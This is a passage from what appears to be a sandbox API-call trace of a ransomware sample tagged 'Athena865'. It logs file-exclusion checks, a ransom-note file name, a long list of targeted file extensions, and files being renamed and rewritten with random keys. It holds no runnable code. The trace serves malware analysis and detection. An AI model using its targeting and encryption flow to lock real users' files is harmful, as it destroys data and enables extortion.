(lpString="maf") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0092.123] lstrlenW (lpString="maq") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0092.123] lstrlenW (lpString="mar") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0092.123] lstrlenW (lpString="marshal") returned 7 [0092.123] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0092.123] lstrlenW (lpString="mas") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0092.123] lstrlenW (lpString="mav") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0092.123] lstrlenW (lpString="maw") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0092.123] lstrlenW (lpString="mdbhtml") returned 7 [0092.123] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0092.123] lstrlenW (lpString="mdn") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0092.123] lstrlenW (lpString="mdt") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0092.123] lstrlenW (lpString="mfd") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0092.123] lstrlenW (lpString="mpd") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0092.123] lstrlenW (lpString="mrg") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0092.124] lstrlenW (lpString="mud") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0092.124] lstrlenW (lpString="mwb") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0092.124] lstrlenW (lpString="myd") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0092.124] lstrlenW (lpString="ndf") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0092.124] lstrlenW (lpString="nnt") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0092.124] lstrlenW (lpString="nrmlib") returned 6 [0092.124] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0092.124] lstrlenW (lpString="ns2") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0092.124] lstrlenW (lpString="ns3") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0092.124] lstrlenW (lpString="ns4") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0092.124] lstrlenW (lpString="nsf") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0092.124] lstrlenW (lpString="nv") returned 2 [0092.124] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0092.124] lstrlenW (lpString="nv2") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0092.124] lstrlenW (lpString="nwdb") returned 4 [0092.124] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0092.124] lstrlenW (lpString="nyf") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0092.124] lstrlenW (lpString="odb") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0092.124] lstrlenW (lpString="odb") returned 3 [0092.124] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0092.125] lstrlenW (lpString="oqy") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0092.125] lstrlenW (lpString="ora") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0092.125] lstrlenW (lpString="orx") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0092.125] lstrlenW (lpString="owc") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0092.125] lstrlenW (lpString="p96") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0092.125] lstrlenW (lpString="p97") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0092.125] lstrlenW (lpString="pan") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0092.125] lstrlenW (lpString="pdb") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0092.125] lstrlenW (lpString="pdm") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0092.125] lstrlenW (lpString="pnz") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0092.125] lstrlenW (lpString="qry") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0092.125] lstrlenW (lpString="qvd") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0092.125] lstrlenW (lpString="rbf") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0092.125] lstrlenW (lpString="rctd") returned 4 [0092.125] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0092.125] lstrlenW (lpString="rod") returned 3 [0092.125] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0092.125] lstrlenW (lpString="rodx") returned 4 [0092.125] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0092.126] lstrlenW (lpString="rpd") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0092.126] lstrlenW (lpString="rsd") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0092.126] lstrlenW (lpString="sas7bdat") returned 8 [0092.126] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0092.126] lstrlenW (lpString="sbf") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0092.126] lstrlenW (lpString="scx") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0092.126] lstrlenW (lpString="sdb") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0092.126] lstrlenW (lpString="sdc") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0092.126] lstrlenW (lpString="sdf") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0092.126] lstrlenW (lpString="sis") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0092.126] lstrlenW (lpString="spq") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0092.126] lstrlenW (lpString="te") returned 2 [0092.126] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0092.126] lstrlenW (lpString="teacher") returned 7 [0092.126] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0092.126] lstrlenW (lpString="tmd") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0092.126] lstrlenW (lpString="tps") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0092.126] lstrlenW (lpString="trc") returned 3 [0092.126] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0092.126] lstrlenW (lpString="trc") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0092.127] lstrlenW (lpString="trm") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0092.127] lstrlenW (lpString="udb") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0092.127] lstrlenW (lpString="udl") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0092.127] lstrlenW (lpString="usr") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0092.127] lstrlenW (lpString="v12") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0092.127] lstrlenW (lpString="vis") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0092.127] lstrlenW (lpString="vpd") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0092.127] lstrlenW (lpString="vvv") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0092.127] lstrlenW (lpString="wdb") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0092.127] lstrlenW (lpString="wmdb") returned 4 [0092.127] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0092.127] lstrlenW (lpString="wrk") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0092.127] lstrlenW (lpString="xdb") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0092.127] lstrlenW (lpString="xld") returned 3 [0092.127] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0092.127] lstrlenW (lpString="xmlff") returned 5 [0092.127] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0092.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865") returned 76 [0092.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui.athena865"), dwFlags=0x1) returned 1 [0092.128] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0092.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.129] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.129] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.129] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.130] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0092.132] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0092.134] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.134] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.134] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.135] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.135] CloseHandle (hObject=0x154) returned 1 [0092.135] CloseHandle (hObject=0x17c) returned 1 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.136] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="windows") returned -1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="bootmgr") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="temp") returned -1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="pagefile.sys") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="boot") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ids.txt") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ntuser.dat") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="perflogs") returned 1 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="MSBuild") returned 1 [0092.136] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0092.136] lstrcpyW (in: lpString1=0x241e8a0, lpString2="PhotoAcq.dll.mui" | out: lpString1="PhotoAcq.dll.mui") returned="PhotoAcq.dll.mui" [0092.136] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0092.136] lstrlenW (lpString="Athena865") returned 9 [0092.136] lstrcmpiW (lpString1="q.dll.mui", lpString2="Athena865") returned 1 [0092.136] lstrlenW (lpString=".dll") returned 4 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".dll") returned 1 [0092.136] lstrlenW (lpString=".lnk") returned 4 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".lnk") returned 1 [0092.136] lstrlenW (lpString=".ini") returned 4 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".ini") returned 1 [0092.136] lstrlenW (lpString=".sys") returned 4 [0092.136] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".sys") returned 1 [0092.136] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0092.136] lstrlenW (lpString="bak") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0092.137] lstrlenW (lpString="ba_") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0092.137] lstrlenW (lpString="dbb") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0092.137] lstrlenW (lpString="vmdk") returned 4 [0092.137] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0092.137] lstrlenW (lpString="rar") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0092.137] lstrlenW (lpString="zip") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0092.137] lstrlenW (lpString="tgz") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0092.137] lstrlenW (lpString="vbox") returned 4 [0092.137] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0092.137] lstrlenW (lpString="vdi") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0092.137] lstrlenW (lpString="vhd") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0092.137] lstrlenW (lpString="vhdx") returned 4 [0092.137] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0092.137] lstrlenW (lpString="avhd") returned 4 [0092.137] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0092.137] lstrlenW (lpString="db") returned 2 [0092.137] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0092.137] lstrlenW (lpString="db2") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0092.137] lstrlenW (lpString="db3") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0092.137] lstrlenW (lpString="dbf") returned 3 [0092.137] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0092.138] lstrlenW (lpString="mdf") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0092.138] lstrlenW (lpString="mdb") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0092.138] lstrlenW (lpString="sql") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0092.138] lstrlenW (lpString="sqlite") returned 6 [0092.138] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0092.138] lstrlenW (lpString="sqlite3") returned 7 [0092.138] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0092.138] lstrlenW (lpString="sqlitedb") returned 8 [0092.138] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0092.138] lstrlenW (lpString="xml") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0092.138] lstrlenW (lpString="$er") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0092.138] lstrlenW (lpString="4dd") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0092.138] lstrlenW (lpString="4dl") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0092.138] lstrlenW (lpString="^^^") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0092.138] lstrlenW (lpString="abs") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0092.138] lstrlenW (lpString="abx") returned 3 [0092.138] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0092.138] lstrlenW (lpString="accdb") returned 5 [0092.138] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0092.138] lstrlenW (lpString="accdc") returned 5 [0092.138] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0092.138] lstrlenW (lpString="accde") returned 5 [0092.139] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0092.139] lstrlenW (lpString="accdr") returned 5 [0092.139] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0092.139] lstrlenW (lpString="accdt") returned 5 [0092.139] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0092.139] lstrlenW (lpString="accdw") returned 5 [0092.139] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0092.139] lstrlenW (lpString="accft") returned 5 [0092.139] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0092.139] lstrlenW (lpString="adb") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.139] lstrlenW (lpString="adb") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.139] lstrlenW (lpString="ade") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0092.139] lstrlenW (lpString="adf") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0092.139] lstrlenW (lpString="adn") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0092.139] lstrlenW (lpString="adp") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0092.139] lstrlenW (lpString="alf") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0092.139] lstrlenW (lpString="ask") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0092.139] lstrlenW (lpString="btr") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0092.139] lstrlenW (lpString="cat") returned 3 [0092.139] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0092.139] lstrlenW (lpString="cdb") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0092.140] lstrlenW (lpString="ckp") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0092.140] lstrlenW (lpString="cma") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0092.140] lstrlenW (lpString="cpd") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0092.140] lstrlenW (lpString="dacpac") returned 6 [0092.140] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0092.140] lstrlenW (lpString="dad") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0092.140] lstrlenW (lpString="dadiagrams") returned 10 [0092.140] lstrcmpiW (lpString1="cq.dll.mui", lpString2="dadiagrams") returned -1 [0092.140] lstrlenW (lpString="daschema") returned 8 [0092.140] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0092.140] lstrlenW (lpString="db-journal") returned 10 [0092.140] lstrcmpiW (lpString1="cq.dll.mui", lpString2="db-journal") returned -1 [0092.140] lstrlenW (lpString="db-shm") returned 6 [0092.140] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0092.140] lstrlenW (lpString="db-wal") returned 6 [0092.140] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0092.140] lstrlenW (lpString="dbc") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0092.140] lstrlenW (lpString="dbs") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0092.140] lstrlenW (lpString="dbt") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0092.140] lstrlenW (lpString="dbv") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0092.140] lstrlenW (lpString="dbx") returned 3 [0092.140] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0092.141] lstrlenW (lpString="dcb") returned 3 [0092.141] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0092.141] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865") returned 70 [0092.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui.athena865"), dwFlags=0x1) returned 1 [0092.142] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.142] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19456) returned 1 [0092.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.142] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.143] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.143] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.143] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f00, lpName=0x0) returned 0x154 [0092.145] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f00) returned 0x100000 [0092.146] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.147] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.147] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.148] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.148] CloseHandle (hObject=0x154) returned 1 [0092.148] CloseHandle (hObject=0x17c) returned 1 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.148] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 